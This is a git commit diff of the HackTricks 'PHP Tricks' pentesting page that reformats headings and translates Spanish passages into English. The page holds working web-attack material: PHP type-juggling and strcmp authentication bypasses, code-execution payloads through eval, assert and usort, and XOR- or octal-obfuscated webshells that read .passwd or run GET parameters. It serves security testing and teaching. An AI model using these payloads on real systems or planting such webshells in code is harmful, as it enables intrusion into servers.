GitBook: [#3261] No subject

This commit is contained in:
CPol 2022-06-19 15:56:48 +00:00 committed by gitbook-bot
parent 5ddefeea2d
commit 8824998cb3
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
2 changed files with 38 additions and 43 deletions

View File

@ -296,7 +296,7 @@
* [Laravel](network-services-pentesting/pentesting-web/laravel.md)
* [Moodle](network-services-pentesting/pentesting-web/moodle.md)
* [Nginx](network-services-pentesting/pentesting-web/nginx.md)
* [PHP Tricks (SPA)](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
* [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
* [PHP - Useful Functions & disable\_functions/open\_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/README.md)
* [disable\_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
* [disable\_functions bypass - dl function](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-dl-function.md)

View File

@ -1,4 +1,4 @@
# PHP Tricks
<details>
@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
</details>
# Cookies common location:
## Cookies common location:
This is also valid for phpMyAdmin cookies.
@ -37,9 +36,11 @@ Locations:
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
# Bypassing PHP comparisons
## Bypassing PHP comparisons
## Loose comparisons/Type Juggling ( == )
### Loose comparisons/Type Juggling ( == )
If `==` is used in PHP, then there are unexpected cases where the comparison doesn't behave as expected. This is because "==" only compare values transformed to the same type, if you also want to compare that the type of the compared data is the same you need to use `===`.
PHP comparison tables: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -54,13 +55,9 @@ PHP comparison tables: [https://www.php.net/manual/en/types.comparisons.php](htt
* `"0e12334" == "0" --> True` This is very interesting because in some cases yo can control the string input of "0" and some content that is being hashed and compared to it. Therefore, if you can provide a value that will create a hash starting with "0e" and without any letter, you could bypass the comparison. You can find **already hashed strings** with this format here: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Any letter in a string is equals to int 0
Con estas igualdades se pueden bypasear comparaciones de PHP (teniendo en cuenta que todo lo que se manda por parámetros normales de formulario siempre son strings).\
Sobre todo usando el truco de String que empieza por "0e" siempre es igual a "0", así si hay que pasar un hmac y podemos alterar valores, podemos enviar como hmac simplemente "0" y si el hmac sale que vale "0eXXXXXXXXXXX" pues dará correcto y se lo tragará\
Se puede intentar enviar los datos encodeados como json a ver si los lee (hay que cambiar la cabecera de tipo de datos para decir que es json y rezar para que se lo coma) (en json se elige el tipo de datos)
More info in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
## **in\_array()**
### **in\_array()**
**Type Juggling** also affects to the `in_array()` function by default (you need to set to true the third argument to make an strict comparison):
@ -72,7 +69,7 @@ var_dump(in_array(0, $values, true));
//False
```
## strcmp()/strcasecmp()
### strcmp()/strcasecmp()
If this function is used for **any authentication check** (like checking the password) and the user controls one side of the comparison, he can send an empty array instead of a string as the value of the password (`https://example.com/login.php/?username=admin&password[]=`) and bypass this check:
@ -85,7 +82,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
The same error occurs with `strcasecmp()`
## Strict type Juggling
### Strict type Juggling
Even if `===` is **being used** there could be errors that makes the **comparison vulnerable** to **type juggling**. For example, if the comparison is **converting the data to a different type of object before comparing**:
@ -93,11 +90,11 @@ Even if `===` is **being used** there could be errors that makes the **compariso
(int) "1abc" === (int) "1xyz" //This will be true
```
## preg\_match(/^.\*/)
### preg\_match(/^.\*/)
**`preg_match()`** could be used to **validate user input** (it **checks** if any **word/regex** from a **blacklist** is **present** on the **user input** and if it's not, the code can continue it's execution).
### New line bypass
#### New line bypass
However, when delimiting the start of the regexp`preg_match()` **only checks the first line of the user input**, then if somehow you can **send** the input in **several lines**, you could be able to bypass this check. Example:
@ -124,7 +121,7 @@ To bypass this check you could **send the value with new-lines urlencoded** (`%0
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
### **Length error bypass**
#### **Length error bypass**
(This bypass was tried apparently on PHP 5.2.5 and I couldn't make it work on PHP 7.3.15)\
If you can send to `preg_match()` a valid very **large input**, it **won't be able to process it** and you will be able to **bypass** the check. For example, if it is blacklisting a JSON you could send:
@ -135,7 +132,7 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}'
From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
## Type Juggling for PHP obfuscation
### Type Juggling for PHP obfuscation
```php
$obfs = "1"; //string "1"
@ -148,7 +145,7 @@ $obfs .= ""; //string "7"
$obfs += ""; //int 7
```
# More tricks
## More tricks
* **register\_globals**: In **PHP < 4.1.1.1** or if misconfigured, **register\_globals** may be active (or their behavior is being mimicked). This implies that in global variables like $\_GET if they have a value e.g. $\_GET\["param"]="1234", you can access it via **$param. Therefore, by sending HTTP parameters you can overwrite variables** that are used within the code.
* The **PHPSESSION cookies of the same domain are stored in the same place**, therefore if within a domain **different cookies are used in different paths** you can make that a path **accesses the cookie of the path** setting the value of the other path cookie.\
@ -156,7 +153,7 @@ $obfs += ""; //int 7
* When you have the **usernames** of the users of the machine. Check the address: **/\~\<USERNAME>** to see if the php directories are activated.
* [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
## password\_hash/password\_verify
### password\_hash/password\_verify
This functions are typically used in PHP to **generate hashes from passwords** and to to **check** if a password is correct compared with a hash.\
The supported algorithms are: `PASSWORD_DEFAULT` and `PASSWORD_BCRYPT` (starts with `$2y$`). Note that **PASSWORD\_DEFAULT is frequently the same as PASSWORD\_BCRYPT.** And currently, **PASSWORD\_BCRYPT** has a **size limitation in the input of 72bytes**. Therefore, when you try to hash something larger than 72bytes with this algorithm only the first 72B will be used:
@ -169,14 +166,14 @@ $cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("
True
```
## HTTP headers bypass abusing PHP errors
### HTTP headers bypass abusing PHP errors
If a **PHP page is printing errors and echoing back some input provided by the user**, the user can make the PHP server print back some **content long enough** so when it tries to **add the headers** into the response the server will throw and error.\
In the following scenario the **attacker made the server throw some big errors**, and as you can see in the screen when php tried to **modify the header information, it couldn't** (so for example the CSP header wasn't sent to the user):
![](<../../../.gitbook/assets/image (465).png>)
# Code execution
## Code execution
**system("ls");**\
**\`ls\`;**\
@ -184,7 +181,7 @@ In the following scenario the **attacker made the server throw some big errors**
[Check this for more useful PHP functions](php-useful-functions-disable\_functions-open\_basedir-bypass/)
## **Code execution using** **preg\_replace()**
### **Code execution using** **preg\_replace()**
```php
preg_replace(pattern,replace,base)
@ -194,7 +191,7 @@ preg_replace("/a/e","phpinfo()","whatever")
To execute the code in the "replace" argument is needed at least one match.\
This option of preg\_replace has been **deprecated as of PHP 5.5.0.**
## **Code execution with Eval()**
### **Code execution with Eval()**
```
'.system('uname -a'); $dummy='
@ -204,21 +201,22 @@ This option of preg\_replace has been **deprecated as of PHP 5.5.0.**
<?php phpinfo(); ?>
```
## **Code execution with Assert()**
### **Code execution with Assert()**
Esta función dentro de php permite ejecutar código que está escrito en un string con el objetivo de que se devuelva true o false (y dependiendo de esto alterar la ejecución). Por lo general se introducirá la variable del usuario entre medias de un string. Por ejemplo: assert("strpos($\_GET\['page']),'..') === false") --> En este caso el payload para ejecutar un comando podría ser:
This function within php allows you to **execute code that is written in a string** in order to **return true or false** (and depending on this alter the execution). Usually the user variable will be inserted in the middle of a string. For example:\
`assert("strpos($_GET['page']),'..') === false")` --> In this case to get **RCE** you could do:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
El caso es que hay que romper la query, ejecutar algo y volver a arreglarla (para ello nos servimos del "and" o "%26%26" o "|" --> el "or", "||" no funcionan pues si la primera es cierta deja de ejecutar y el ";" no funciona pues solo ejecuta la primera parte).
You will need to **break** the code **syntax**, **add** your **payload**, and then **fix it again**. You can use **logic operations** such as "**and" or "%26%26" or "|"**. Note that "or", "||" doesn't work because if the first condition is true our payload won't get executed. The same way ";" doesn't work as our payload won't be executed.
**Other option** is to add to the string the execution of the command: _'.highlight\_file('.passwd').'_
**Other option** is to add to the string the execution of the command: `'.highlight_file('.passwd').'`
**Other option** (if you have the internal code) is to modify some variable to alter the execution: _$file = "hola"_
**Other option** (if you have the internal code) is to modify some variable to alter the execution: `$file = "hola"`
## **Code execution with usort()**
### **Code execution with usort()**
This function is used to sort an array of items using an specific function.\
To abuse this function:
@ -251,13 +249,13 @@ To discover the number of parenthesis that you need to close:
* `?order=id);}//`: we get a **warning**. That seems about right.
* `?order=id));}//`: we get an error message (`Parse error: syntax error, unexpected ')' i`). We probably have too many closing brackets.
## **Code execution via .httaccess**
### **Code execution via .httaccess**
If you can **upload** a **.htaccess**, then you can **configure** several things and even execute code (configuring that files with extension .htaccess can be **executed**).
Different .htaccess shells can be found [here](https://github.com/wireghoul/htshells)
# PHP Static analysis
## PHP Static analysis
Look if you can insert code in calls to these functions (from [here](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
@ -269,11 +267,11 @@ $_COOKIE | if #This mea
If yo are debugging a PHP application you can globally enable error printing in`/etc/php5/apache2/php.ini` adding `display_errors = On` and restart apache : `sudo systemctl restart apache2`
## Deobfuscating PHP code
### Deobfuscating PHP code
You can use the **web**[ **www.unphp.net**](http://www.unphp.net) **to deobfuscate php code.**
# Variable variables
## Variable variables
```php
$x = 'Da';
@ -288,21 +286,21 @@ echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
# Xdebug unauthenticated RCE
## Xdebug unauthenticated RCE
If you see that **Xdebug** is **enabled** in a `phpconfig()` output you should try to get RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
# Execute PHP without letters
## Execute PHP without letters
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
## Using octal
### Using octal
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
## **XOR**
### **XOR**
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
@ -311,7 +309,7 @@ $___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
## XOR Shellcode (inside eval)
### XOR Shellcode (inside eval)
```bash
#!/bin/bash
@ -333,7 +331,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
## Perl like
### Perl like
```php
<?php
@ -373,7 +371,6 @@ $_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
@ -389,5 +386,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>